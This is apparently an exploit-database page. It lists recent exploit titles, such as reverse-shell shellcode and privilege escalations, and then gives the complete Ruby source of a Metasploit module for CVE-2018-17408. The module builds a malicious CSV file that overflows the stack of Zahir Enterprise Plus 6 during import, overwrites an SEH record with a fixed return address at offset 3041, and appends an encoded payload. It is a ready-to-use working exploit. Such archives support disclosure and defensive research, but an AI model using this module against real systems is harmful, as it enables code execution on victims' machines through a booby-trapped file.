
16 changes to exploits/shellcodes net-snmp 5.7.3 - Unauthenticated Denial of Service (PoC) net-snmp 5.7.3 - Authenticated Denial of Service (PoC) Linux - Kernel Pointer Leak via BPF Android - sdcardfs Changes current->fs Without Proper Locking 360 3.5.0.1033 - Sandbox Escape Git Submodule - Arbitrary Code Execution Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit) Microsoft Windows - Net-NTLMv2 Reflection DCOM/RPC (Metasploit) Cisco Prime Infrastructure - Unauthenticated Remote Code Execution Unitrends UEB - HTTP API Remote Code Execution (Metasploit) Navigate CMS - Unauthenticated Remote Code Execution (Metasploit) FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure Imperva SecureSphere 13 - Remote Command Execution Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes) Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)
66 lines
No EOL
2 KiB
Ruby
Executable file
66 lines
No EOL
2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
|
|
The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
|
|
via Import from other File. This results in overwriting a structured exception handler record.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'f3ci', # initial discovery
|
|
'modpr0be' # poc and Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2018-17408' ],
|
|
[ 'EDB', '45505' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Zahir Enterprise Plus 6 <= build 10b',
|
|
{
|
|
#P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
|
|
'Ret' => 0x52016661,
|
|
'Offset' => 3041
|
|
}
|
|
]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 5000,
|
|
'BadChars' => "\x00\x0a\x0d\x22\x2c",
|
|
'DisableNops' => true
|
|
},
|
|
'DisclosureDate' => 'Sep 28 2018',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
buf = rand_text_alpha_upper(target['Offset'])
|
|
buf << "\r\n" # crash chars
|
|
buf << rand_text_alpha_upper(380) # extra chars to hit the offset
|
|
buf << generate_seh_record(target.ret)
|
|
buf << payload.encoded
|
|
|
|
file_create(buf)
|
|
end
|
|
end |